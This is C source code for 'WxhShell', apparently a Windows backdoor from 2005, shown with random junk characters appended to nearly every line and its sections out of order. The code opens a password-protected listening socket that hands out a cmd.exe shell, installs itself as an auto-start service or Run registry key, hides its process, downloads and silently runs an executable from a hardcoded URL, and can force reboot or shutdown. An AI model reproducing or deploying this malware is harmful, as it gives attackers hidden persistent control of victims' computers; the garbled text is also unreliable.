  // 关机 KX!i\NHz  
  case 'd': { 6gXIt9B.h$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l0I}&,+  
    if(Boot(SHUTDOWN)) vt//)*(.$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ujU=JlJ7dl  
    else { K&*iw`  
    closesocket(wsh); z9[[C^C  
    ExitThread(0); YRPm^kW  
    } 7 _`L$<-n  
    break; N;uUx#z  
    } ?a S%  
  // 获取shell 4t04}vp  
  case 's': { `>s7M.|X  
    CmdShell(wsh); M :V2a<!c  
    closesocket(wsh); ]<1HM"D  
    ExitThread(0); oizT-8i@N  
    break; c! @F  
  } _2b9QP p  
  // 退出 zbNA \.y  
  case 'x': { dm6~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eqq`TT#Z  
    CloseIt(wsh); Frk cO  
    break; F!J J6d53y  
    } BPqk "HG]T  
  // 离开 cB#nsu>  
  case 'q': { 'Y.Vn P&H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %%>_B2vc  
    closesocket(wsh); D3`}4 A  
    WSACleanup(); n-$VUo  
    exit(1); f;gZ|a  
    break; X APYpBgm  
        } ~4\,&HH  
  } @9Q2$  
  } 'B_\TU0 O  
qos`!=g?  
  // 提示信息 1~J5uB4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %a];  
} 5!Bktgk.  
  } *5e+@rD`  
Bd@'e7{  
  return; 3J{vt"dS  
} ZQ3_y $  
Jic}+X*0  
// shell模块句柄 {^5?)/<  
int CmdShell(SOCKET sock) G/vC~6x  
{ m#f{]+6U  
STARTUPINFO si; z% 1{  
ZeroMemory(&si,sizeof(si)); -I":Z2.fR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C9qJP^F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ME^ ,'&  
PROCESS_INFORMATION ProcessInfo; ubYG  
char cmdline[]="cmd"; GMW,*if8p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N L'R\R  
  return 0; Gs dnf 7  
} ;Wc4qJ.@  
*f5l=lDOB  
// 自身启动模式 S:q$?$  
int StartFromService(void) ^N{ltgQY  
{ xY\ 0 zQ  
typedef struct auHFir 8f  
{ u3J?bR  
  DWORD ExitStatus; e8}Ezy"^  
  DWORD PebBaseAddress; MgJ36zM  
  DWORD AffinityMask; $Z?\>K0i  
  DWORD BasePriority; +Llo81j&  
  ULONG UniqueProcessId; 0:&ZnE}##  
  ULONG InheritedFromUniqueProcessId; ~GJN@ka4%  
}   PROCESS_BASIC_INFORMATION; 15{Y9!  
GKiukX$'  
PROCNTQSIP NtQueryInformationProcess; v>A=2i*j  
4 o(bxs"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AW,OH SXh6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @]HXP_lyD/  
"&~ 0T#  
  HANDLE             hProcess; TZRcd~5$  
  PROCESS_BASIC_INFORMATION pbi; @ O>&5gB1u  
8' K0L(3[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w,1Ii}d9  
  if(NULL == hInst ) return 0; }P9Ap3?  
1mH%H*#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .>pgU{C`!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uj|BQ`k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~u87H?  
a%BeqSZh  
  if (!NtQueryInformationProcess) return 0; -n5 B)uw=  
}-@4vl x$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z5(enTy-  
  if(!hProcess) return 0; Ad$n4Ze  
is?2DcSl5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =Z G:x<Hg  
S/[E 8T"  
  CloseHandle(hProcess); *[+)7  
%Sk@GNI_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9\;|x  
if(hProcess==NULL) return 0; 7^*"O&y_al  
awewYf$li  
HMODULE hMod; PX(p X>  
char procName[255]; 8|Y.|\  
unsigned long cbNeeded; "YU{Fkl#j  
m~#%Q?_ %  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &o3K%M;C?  
BxK^?b[E8  
  CloseHandle(hProcess); N#C1-*[C  
ww k PF  
if(strstr(procName,"services")) return 1; // 以服务启动 KvPX=/&Zu  
up '  
  return 0; // 注册表启动 BV`-=wRC  
} a4i:|   
5S{7En~zUE  
// 主模块 !ZRs;UZ>o  
int StartWxhshell(LPSTR lpCmdLine) o>/O++7Ra  
{ c`*TPqw(B[  
  SOCKET wsl; ,m=4@ofX  
BOOL val=TRUE; *i{Y9f8  
  int port=0; f.B>&%JRZ  
  struct sockaddr_in door; WQNE2Q  
9@ 16w  
  if(wscfg.ws_autoins) Install(); 9Z5D\yv?H  
3q:n'PC)C  
port=atoi(lpCmdLine); K+=+?~  
;a{:%t  
if(port<=0) port=wscfg.ws_port;  Ez~'^s@  
R%D'`*+  
  WSADATA data; RP5+d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gk[{2HgN  
VdSv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WKz> !E%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9`//^8G:=  
  door.sin_family = AF_INET;  ^YdcAHjK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sn4[3JV$l  
  door.sin_port = htons(port); )u]9193  
Nc Pgq?3p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wo~vhv$E  
closesocket(wsl); ig LMv+{  
return 1; :u8(^]N  
} 7!y5 SX8C  
&UCsBqIY  
  if(listen(wsl,2) == INVALID_SOCKET) { 4MuO1W-  
closesocket(wsl); 2QpHvsl_  
return 1; E{^XlY  
} f h#C' sn  
  Wxhshell(wsl); h:zK(;  
  WSACleanup(); NLPkh,T:  
bwM@/g%DL  
return 0; !o=U19)  
<s5qy-  
} 5]I|DHmu  
ofYlR|  
// 以NT服务方式启动 p Dx-2:}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e!Y0-=?nf#  
{ C98]9  
DWORD   status = 0; (/-hu[:  
  DWORD   specificError = 0xfffffff; ae"]\a\&1o  
Ghl'nqPlm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 5y+Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y{v(p7pl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~c)~015`  
  serviceStatus.dwWin32ExitCode     = 0; ^<e@uNGg  
  serviceStatus.dwServiceSpecificExitCode = 0; mC?i}+4>4R  
  serviceStatus.dwCheckPoint       = 0; K{b(J Nd  
  serviceStatus.dwWaitHint       = 0; &[NG]V!Oc  
8t@p @Td|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "H -"  
  if (hServiceStatusHandle==0) return; \<}&&SuH  
f7h*Vu`>  
status = GetLastError(); /!^&;$A'  
  if (status!=NO_ERROR) {u1V|q  
{ aL J(?8M@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )ZrS{vY  
    serviceStatus.dwCheckPoint       = 0; :=%0Mb:  
    serviceStatus.dwWaitHint       = 0; t#%R q  
    serviceStatus.dwWin32ExitCode     = status; '>$]{vQ3  
    serviceStatus.dwServiceSpecificExitCode = specificError; E0%~! b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b@3_L4~  
    return; .q&'&~!_  
  } k+I}PuG  
D +_oVob\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~4P%%b0,o  
  serviceStatus.dwCheckPoint       = 0; K=!Bh*  
  serviceStatus.dwWaitHint       = 0; n,$IfC"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [=B$5%A  
} lWBb4 !l  
pV4Whq$  
// 处理NT服务事件,比如:启动、停止 2I*;A5$N1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fDG0BNLY  
{ lds- T  
switch(fdwControl) xI>A6  
{ &Tl 0Pf  
case SERVICE_CONTROL_STOP: l;y7]DO  
  serviceStatus.dwWin32ExitCode = 0; >.dWjb6t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vSi_t K4  
  serviceStatus.dwCheckPoint   = 0; '* \|; l#1  
  serviceStatus.dwWaitHint     = 0; zC _<(4$-"  
  { TuW%zF/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >``MR%E:<  
  } ~QvqG{bFB  
  return; "\0v,!@  
case SERVICE_CONTROL_PAUSE: p-1 3H0Kt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /mp*>sNr6  
  break; &WNf M+  
case SERVICE_CONTROL_CONTINUE: JaB<EL-9r2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gmf B  
  break; Us+pc^A  
case SERVICE_CONTROL_INTERROGATE: ,+~rd4a  
  break; ]4;PR("aU  
}; }$bF 5&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r}uz7}z %"  
} z25m_[p2  
wywQ<n  
// 标准应用程序主函数 Vp>|hj po  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oft4- 4$E  
{ sP^R/z|Y  
[s&$l G!  
// 获取操作系统版本 hKzSgYxP=t  
OsIsNt=GetOsVer(); tv!_e$CR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <7-J0btV  
f>aRkTHf  
  // 从命令行安装 4)1s M=u  
  if(strpbrk(lpCmdLine,"iI")) Install(); $95h2oXt  
UI>Y0O  
  // 下载执行文件 3e(ehLc4DJ  
if(wscfg.ws_downexe) { sZW^ !z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h6} lpd  
  WinExec(wscfg.ws_filenam,SW_HIDE); pZtu&R%GU  
} ew"v{=X  
e9Nk3Sj]  
if(!OsIsNt) { l x,"EOP  
// 如果时win9x,隐藏进程并且设置为注册表启动 /4xki_}  
HideProc(); X/N0LU(q  
StartWxhshell(lpCmdLine); Zh_|m#)  
} Bdj%hyW  
else Y(44pA&oN  
  if(StartFromService()) x' .:&z  
  // 以服务方式启动 >@"Oe  
  StartServiceCtrlDispatcher(DispatchTable); ss5 m/i7  
else da (km+  
  // 普通方式启动 ?JL:CBvCp  
  StartWxhshell(lpCmdLine); C -iK$/U  
r2k2%nI-J  
return 0; UKM2AZ0lb  
} A45A:hqs  
ar:+;.n  
`[C!L *#,  
dDF .qXq.  
=========================================== Y5F]:gs@  
otk}y8  
U#3J0+!  
hUYd0qEbEt  
-%L6#4m4o  
1x[)/@.'f  
" / ~^rr f  
Yot?=T};3{  
#include <stdio.h> a{[x4d,z  
#include <string.h> 6P';DB  
#include <windows.h>  Br` IW  
#include <winsock2.h> tO0!5#-VR  
#include <winsvc.h> ,Jd ',>3  
#include <urlmon.h> W^s ;Bi+Nw  
)n,P"0  
#pragma comment (lib, "Ws2_32.lib") (&!NC[n,  
#pragma comment (lib, "urlmon.lib")  4._( |  
J_FNAdQt  
#define MAX_USER   100 // 最大客户端连接数 Dgy]ae(Hb3  
#define BUF_SOCK   200 // sock buffer x:nKfY5  
#define KEY_BUFF   255 // 输入 buffer vsa92c@T  
@r?Uua  
#define REBOOT     0   // 重启 [o?* "c  
#define SHUTDOWN   1   // 关机 %JLk$sP9y`  
/tUy3myJ  
#define DEF_PORT   5000 // 监听端口 l&[;rh  
C*`mM'#  
#define REG_LEN     16   // 注册表键长度 uJ6DO#d`P  
#define SVC_LEN     80   // NT服务名长度 Kw#i),M  
7^g&)P  
// 从dll定义API x:QgjK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2 aL)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P LueVz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uV=Qp1~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v'BZs   
nB!&Zq  
// wxhshell配置信息 $#]]K  
struct WSCFG { L: z?Zt)|  
  int ws_port;         // 监听端口 r fq;%C  
  char ws_passstr[REG_LEN]; // 口令 D&S26jrZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no # 0Lf<NZ  
  char ws_regname[REG_LEN]; // 注册表键名 ;s52{>&F]  
  char ws_svcname[REG_LEN]; // 服务名 9k6r_G"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^.>jG I%rB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (7r<''  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &-mX ,   
int ws_downexe;       // 下载执行标记, 1=yes 0=no IV)<5'v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K3=3~uY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f/V 2f].  
7P9=)$(EH  
}; 1Uqu> '  
,dx3zBI  
// default Wxhshell configuration PK"c4>q  
struct WSCFG wscfg={DEF_PORT, w08?DD]CDt  
    "xuhuanlingzhe", C[%OkPR,H  
    1, V<j.xd7  
    "Wxhshell", #H0dZ.$b0  
    "Wxhshell", 65Cg]Dt71  
            "WxhShell Service", R%'^gFk 8  
    "Wrsky Windows CmdShell Service", [3@):8  
    "Please Input Your Password: ", A$w4PVS  
  1, !U5Wr+83  
  "http://www.wrsky.com/wxhshell.exe", ,%)6jYHRw  
  "Wxhshell.exe" T,VY.ep/  
    }; &cu lbcz  
)4&cph';  
// 消息定义模块 -UD\;D?$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qv@$ZLR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M{*Lp6h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d,=r 9.  
char *msg_ws_ext="\n\rExit."; 3%E74 mOcD  
char *msg_ws_end="\n\rQuit."; (x3.poSt  
char *msg_ws_boot="\n\rReboot..."; pbU!dOU~e  
char *msg_ws_poff="\n\rShutdown..."; c.j$9=XLBG  
char *msg_ws_down="\n\rSave to "; ,JEF GI{  
D)d~3`=#  
char *msg_ws_err="\n\rErr!"; >>5NX"{  
char *msg_ws_ok="\n\rOK!"; ;W^o@*i{>  
#cCL.p"]  
char ExeFile[MAX_PATH]; u5Ftu?t  
int nUser = 0; V?=8".GiX  
HANDLE handles[MAX_USER]; 9F*+YG!  
int OsIsNt; ETXZ?\<a5  
`3hSL R  
SERVICE_STATUS       serviceStatus; |0%+wB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X3V'Cy/sy  
fF V!)Zj  
// 函数声明 OdB?_.+$  
int Install(void); f4PIoZ e  
int Uninstall(void); ?'<nx{!c  
int DownloadFile(char *sURL, SOCKET wsh); G 8V,  
int Boot(int flag); Bn(W"=1  
void HideProc(void); H V;D?^F  
int GetOsVer(void); qIAoA .  
int Wxhshell(SOCKET wsl); gwWN%Z"  
void TalkWithClient(void *cs); >b]S3[Q(  
int CmdShell(SOCKET sock); t>[KVVg W  
int StartFromService(void); (4Zts0O\  
int StartWxhshell(LPSTR lpCmdLine); Qu]z)";7  
7K5P8N ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P`e!Z:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6CMub0   
"1HRLci  
// 数据结构和表定义 k+DR]icv  
SERVICE_TABLE_ENTRY DispatchTable[] = 'FS?a  
{ :M6+p'`j  
{wscfg.ws_svcname, NTServiceMain}, uIDuGrt  
{NULL, NULL} Xt'sQ}  
}; ~R@Nd~L  
)}_a 0bt  
// 自我安装 XQ~Ke-QW)  
int Install(void) (bh95X  
{ p f_mf.  
  char svExeFile[MAX_PATH]; T.qNCJmB  
  HKEY key; LK@lpkX  
  strcpy(svExeFile,ExeFile); Jyqc2IH  
#Z<a  
// 如果是win9x系统,修改注册表设为自启动 6KOlY>m]  
if(!OsIsNt) {  1"e)5xI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .fdL&z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _X'"w|0  
  RegCloseKey(key); PfZ+PqS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?:L:EW8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mb!9&&2 -t  
  RegCloseKey(key); U\sHx68  
  return 0; = hN !;7G  
    } }ga@/>Sl&  
  } S*,rGCt'T  
} w#g#8o>'  
else { P';?YV0  
@, Wvvh  
// 如果是NT以上系统,安装为系统服务 %3$*K\Ai  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R%c SJ8O#  
if (schSCManager!=0) QurW/a  
{ ZPD[5) ~  
  SC_HANDLE schService = CreateService Cj?L@%"  
  ( RJ$7XCY%`*  
  schSCManager, kGN+rHo   
  wscfg.ws_svcname, h)Ff2tX  
  wscfg.ws_svcdisp, !0dNQ[$82  
  SERVICE_ALL_ACCESS, w/IZDMBf|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vo"RO$%ow*  
  SERVICE_AUTO_START, ^'ryNa;"  
  SERVICE_ERROR_NORMAL, zrU{@z$l  
  svExeFile, +tD[9b! m  
  NULL, wW%4d  
  NULL, e A}%C.ZR  
  NULL, O1`9Y}G(r  
  NULL, ?Sb8@S&J  
  NULL "hdvHUz  
  ); zH*KYB  
  if (schService!=0) %zO h  
  { m{7(PHpw  
  CloseServiceHandle(schService); Ogp"u b8  
  CloseServiceHandle(schSCManager); \~5C7^_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YLVPAODY  
  strcat(svExeFile,wscfg.ws_svcname); Y9`5G%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DzheoA-+L'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XyOl:>%L!P  
  RegCloseKey(key); %DQhM,c@  
  return 0; V3ndV-uQE  
    } RTFZPq84  
  } ]7Z{ 8)T  
  CloseServiceHandle(schSCManager); H`geS  
} >|Cw\^  
} W mm4hkf  
%.z,+Zz?  
return 1; - > J_ ~  
} &EpAg@9!  
CQpCS_M  
// 自我卸载 DSj(]U~r  
int Uninstall(void) UYz0PSV=.  
{ i>joT><B  
  HKEY key; z-c}NdW  
N72Yq)(  
if(!OsIsNt) { MG?0>^F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }E7:ihy  
  RegDeleteValue(key,wscfg.ws_regname); Q 3y;$"  
  RegCloseKey(key); +nT'I!//  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R9! Uo  
  RegDeleteValue(key,wscfg.ws_regname); TET`b7G  
  RegCloseKey(key); 2m~V{mUT!  
  return 0; 0JD~M\-!^a  
  } FP Jd|  
} _kY#D;`:r  
} W.w)H@]7m  
else { r lKlpl  
7 K{Nb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 84{Q\c  
if (schSCManager!=0) A%2:E^k(s  
{ Y1arX^Zb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1U,1)<z~u  
  if (schService!=0) QL$S4 J"  
  { /QEiMrz@6  
  if(DeleteService(schService)!=0) { 1* ]Ev  
  CloseServiceHandle(schService); :F?x)"WoQ+  
  CloseServiceHandle(schSCManager); .uEPnzi  
  return 0; 8j4z{+'TQ  
  } 1c@} C+F+  
  CloseServiceHandle(schService); =GXu 5 8  
  } aIXdV2QS  
  CloseServiceHandle(schSCManager); Y+3!f#exm  
} $:of=WTY(  
} 8#D:H/`'  
A?*o0I  
return 1; ^xZ e2@  
} v-! u\  
c   c  
// 从指定url下载文件 =-o'gL  
int DownloadFile(char *sURL, SOCKET wsh) W<<9y  
{ ~RD+.A  
  HRESULT hr; aSP4a+\*  
char seps[]= "/"; uZi.HG{<)  
char *token; kHv[H]+v  
char *file; <s@-:;9~  
char myURL[MAX_PATH]; O,.!2wVrN  
char myFILE[MAX_PATH]; SI6B#u-i  
[>|FB'  
strcpy(myURL,sURL); [+Y{%U  
  token=strtok(myURL,seps); DE IB!n   
  while(token!=NULL) emW:C-/h/@  
  { o-cAG{.WC  
    file=token; g_Im;1$  
  token=strtok(NULL,seps); =@)d5^<5F  
  } |D.O6?v@  
ph2$oO 6,  
GetCurrentDirectory(MAX_PATH,myFILE); 9RwawTM  
strcat(myFILE, "\\"); !SKV!xH9  
strcat(myFILE, file); DS xUdEK6  
  send(wsh,myFILE,strlen(myFILE),0); Y\=FLO9  
send(wsh,"...",3,0); 6yy;JQAke  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } 17.~  
  if(hr==S_OK) &Z^ l=YH,  
return 0; Em7 WDu0  
else J# kl 7  
return 1; RL[E X5U  
.O0O-VD+a  
} 9GdB#k6W`  
3u33a"nL8  
// 系统电源模块 8by@iQ  
int Boot(int flag) Y $-3v.  
{ D?M!ra  
  HANDLE hToken; xE-7P|2  
  TOKEN_PRIVILEGES tkp; *XWq?hi  
aTzDew  
  if(OsIsNt) { -@&1`@):{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6/ `.(fL1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4eH.9t  
    tkp.PrivilegeCount = 1; ai*b:Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q_Lo3|t i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nmjm<Bu  
if(flag==REBOOT) { 8I,QD` xu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (3dPLp:K  
  return 0; dr q hQ  
}  d^|0R  
else { \ /|)HElKR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yct5V,X^  
  return 0; 0qFH s  
} MEiRj]t  
  } j 6ut}Uq  
  else { B%\gkl  
if(flag==REBOOT) { 4Tct  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V|MY!uV  
  return 0; ZlKw_Sq:  
} W9zE{)Sc~  
else { W@\ (nfD2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MK}-<&v  
  return 0; NV r0M?`4  
} H0"=Vs,n  
} "gW7<ilw  
 8%RI7Mg  
return 1; V^il$'  
} -p-0;Hy  
3_5XHOdE  
// win9x进程隐藏模块 W0cgI9=9  
void HideProc(void) Bf4%G,o5  
{ a1N!mQ^  
Wd(86idnc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AAUyy :  
  if ( hKernel != NULL ) efz&@|KR  
  { G&f7+e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lnbmoHv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FnHi(S|A  
    FreeLibrary(hKernel); 8X?>=tl  
  } %G3sjnI;l  
)fU(AXSP  
return; kD.pzx EM  
} 'b"TH^\  
#Tp]^ n  
// 获取操作系统版本 Cpx+qQt0  
int GetOsVer(void) _2vd`k  
{ H' J|U|  
  OSVERSIONINFO winfo; `&$B3)Eb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R UTnc  
  GetVersionEx(&winfo); qI3NkVA'C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G6`J1Uk  
  return 1; @\Js8[wS9@  
  else +K6szGP  
  return 0; g\M5:Qm  
} `^U&#K  
XT@Mzo49z\  
// 客户端句柄模块 HT`1E0G8)  
int Wxhshell(SOCKET wsl) oYM,8 K  
{ >E"9*:.^a  
  SOCKET wsh; 7]2 2"mc  
  struct sockaddr_in client; d @rs3Q1z  
  DWORD myID; 'qv;sB.  
k<4P6?  
  while(nUser<MAX_USER) 19d6]pJ5  
{ kB\kpW  
  int nSize=sizeof(client); $(HjI \%l^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?$%%Mp(  
  if(wsh==INVALID_SOCKET) return 1; 3 EYiQ`  
yqSY9EX7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gX} g  
if(handles[nUser]==0) 5^)_B;.f  
  closesocket(wsh); ^lO76Dz~a  
else d$;/T('  
  nUser++; Qu~*46?0  
  } 2Ji+{,?,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'dt\db5p  
C9KWa*3  
  return 0; S_8r\B[>P  
} =3ADT$YHd  
!E& MBAKy  
// 关闭 socket E20 :uZ7\  
void CloseIt(SOCKET wsh) !0fI"3P@r  
{ x,Y 5U+]E  
closesocket(wsh); h[=nx^  
nUser--; 6f] rQ9  
ExitThread(0); yBn_Kd  
} jM__{z  
d(L{!mm  
// 客户端请求句柄 @"1}16b#f  
void TalkWithClient(void *cs) d# T?Q_3b  
{ [BXyi  
 93w~.p  
  SOCKET wsh=(SOCKET)cs; )mkS5j`5\  
  char pwd[SVC_LEN]; MD'>jO;n  
  char cmd[KEY_BUFF]; y(8d?]4:_  
char chr[1]; !dv-8C$U  
int i,j; 3ps,uozj  
am:.NG+  
  while (nUser < MAX_USER) { 5}a"?5J^  
\f"?Tv-C'  
if(wscfg.ws_passstr) { N8+P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8wF#e\Va0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &=-PRza%j  
  //ZeroMemory(pwd,KEY_BUFF); o'qm82* =  
      i=0; vR]mSX3)?  
  while(i<SVC_LEN) { l \}25 e  
GNghB(  
  // 设置超时 .[f;(WR  
  fd_set FdRead; F1}  
  struct timeval TimeOut; 'TX M{RGw  
  FD_ZERO(&FdRead); .xpmp6-  
  FD_SET(wsh,&FdRead); Fp:3#Bh  
  TimeOut.tv_sec=8; :dDxxrs"  
  TimeOut.tv_usec=0; aIu2>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); my,x9UPs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j-* TXog  
c$#GM57V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .3g&9WvN!Z  
  pwd=chr[0]; 2X_>vIlEm  
  if(chr[0]==0xd || chr[0]==0xa) { F aWl,}]  
  pwd=0; 37K U~9-A  
  break; T}2:.Hk:N  
  } ; J2-rh  
  i++; lO&cCV;  
    } BE%Z\E[[m  
'49L(>.  
  // 如果是非法用户,关闭 socket /c^e& D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L<)Z>@fR  
} 0P9Wy!f7  
"/y|VTV"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AM?Ec1S #a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5bBCpNa  
DR{] sG  
while(1) { ji##$xC  
A`C-sD >  
  ZeroMemory(cmd,KEY_BUFF); r|bPR!0  
{]M>Y%j48  
      // 自动支持客户端 telnet标准   .93S>U<_  
  j=0; Ma_=-cD  
  while(j<KEY_BUFF) { ;fx1!:;.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Wy.R6  
  cmd[j]=chr[0]; _ _ =s'  
  if(chr[0]==0xa || chr[0]==0xd) { hfh.eL  
  cmd[j]=0; x3;jWg~'  
  break; s7|3zqi  
  } x@ 6\Ob  
  j++; Jy`G]]?  
    } \-G5l+!  
j]HE>  
  // 下载文件 J=P;W2L  
  if(strstr(cmd,"http://")) { pe#*I/)b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yhk6Uog{4  
  if(DownloadFile(cmd,wsh)) 2+&R" #I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnL."^%A2I  
  else 1g81S_T .  
